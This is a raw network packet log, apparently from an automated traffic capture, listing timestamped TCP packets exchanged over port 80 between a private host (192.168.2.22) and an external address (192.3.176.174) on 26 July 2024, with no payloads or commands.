Jul 26, 2024 15:24:59.247592926 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.247607946 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.247642040 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.247653008 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.248461962 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.248492002 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.248521090 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.248528004 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.249569893 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.249581099 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.249608994 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.249619961 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.250688076 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.250699997 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.250734091 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.251835108 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.251847982 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.251874924 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.251884937 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.253030062 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.253040075 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.253048897 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.253072977 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.253082991 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.254081964 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.254113913 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.254123926 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.254151106 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.255270958 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.255281925 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.255315065 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.256411076 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.256421089 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.256429911 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.256453037 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.256464005 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.257671118 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.257682085 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.257709980 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.257720947 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.258578062 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.258589983 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.258618116 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.258618116 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.259417057 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.259428024 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.259460926 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.260266066 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.260277033 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.260286093 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.260307074 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.260320902 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.261235952 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.261246920 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.261281967 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.262365103 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.262376070 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.262413025 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.263025045 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.263034105 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.263072014 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.264031887 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.264044046 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.264051914 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.264072895 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.264087915 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.264812946 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.264825106 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.264857054 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.265739918 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.265769005 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.265788078 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.265799046 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.266640902 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.266653061 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.266680002 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.266690969 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.267702103 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.267713070 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.267745972 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.268366098 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.268377066 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.268384933 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.268407106 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.268418074 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.269090891 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.269100904 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.269138098 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.269818068 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.269828081 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.269865036 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.270575047 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.270586014 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.270622969 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.270632982 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.271431923 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.271440983 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.271460056 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.271473885 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.271481991 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.271501064 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.272177935 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.272197962 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.272311926 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.272689104 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.272703886 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.272731066 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.272741079 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.273534060 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.273549080 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.273602009 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.274059057 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.274070978 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.274127960 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.274744987 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.274755955 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.274763107 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.274825096 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.275466919 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.275479078 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.275518894 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.276316881 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.276329041 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.276365995 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.276849031 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.276860952 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.276890993 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.276901960 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.277549028 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.277559996 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.277585030 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.277595997 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.277831078 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.278577089 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.278589964 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.278599977 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.278621912 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.278635979 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.279544115 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.279556036 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.279566050 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.279593945 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.279604912 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.280653954 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.280666113 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.280674934 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.280687094 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.280697107 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.280710936 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.281333923 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.281344891 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.281356096 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.281385899 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.281397104 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.282187939 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.282200098 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.282208920 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.282242060 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.282252073 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.283040047 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283052921 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283078909 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283086061 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.283091068 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283097029 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.283121109 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.283130884 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.283929110 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283941031 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283951044 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.283987045 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.284845114 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.284874916 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.284885883 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.284895897 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.284945965 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.287000895 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.343774080 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.343833923 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.343873978 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.343885899 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.343902111 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.343919992 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.344403982 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.344415903 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.344428062 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.344448090 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.344460964 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.345280886 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.345293045 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.345304012 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.345314980 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.345321894 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.345331907 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.345350981 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.346213102 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.346225977 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.346235991 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.346252918 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.346267939 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.346991062 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.347003937 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.347034931 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.347034931 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.352555990 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.352600098 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.352611065 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.352641106 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.352680922 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.352720976 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.352989912 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.353002071 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.353033066 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.353532076 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.353543043 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.353554010 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.353571892 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.353590012 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.354207039 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354249954 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.354494095 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354504108 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354548931 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.354788065 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354799032 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354809999 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.354826927 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.354839087 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.355681896 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.355694056 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.355704069 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.355721951 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.355737925 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.356575966 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.356587887 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.356597900 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.356609106 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.356615067 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.356631041 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.356648922 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.357507944 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.357522011 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.357531071 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.357551098 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.357562065 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.358409882 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.358422041 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.358432055 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.358449936 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.358463049 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.359358072 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.359369993 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.359380007 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.359390974 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.359405994 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.359414101 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.359426022 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.360008001 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360021114 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360029936 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360042095 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360050917 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.360064983 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.360918999 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360932112 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360941887 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360953093 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.360959053 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.360972881 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.360991955 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.361871958 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.361886024 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.361896038 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.361907005 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.361912966 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.361938000 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.361947060 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.362781048 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.362824917 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.362838030 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.362849951 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.362860918 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.362871885 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.362891912 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.362891912 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.362909079 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.363776922 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.363791943 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.363802910 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.363814116 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.363817930 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.363841057 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.363847971 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.364741087 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.364754915 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.364764929 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.364775896 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.364782095 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.364787102 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.364799976 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.364805937 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.364830017 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.365669966 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.365683079 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.365694046 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.365705967 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.365711927 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.365715981 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.365727901 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.365741968 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.365751982 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.366628885 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.366641998 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.366652966 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.366663933 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.366668940 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.366684914 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.366703987 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.367628098 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.367640972 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.367650986 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.367661953 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.367672920 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.367680073 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.367710114 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.368520975 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.368532896 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.368544102 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.368565083 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.368577957 CEST	49163	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:24:59.369288921 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.369304895 CEST	80	49163	192.3.176.174	192.168.2.22
Jul 26, 2024 15:24:59.369349957 CEST	49163	80	192.168.2.22	192.3.176.174
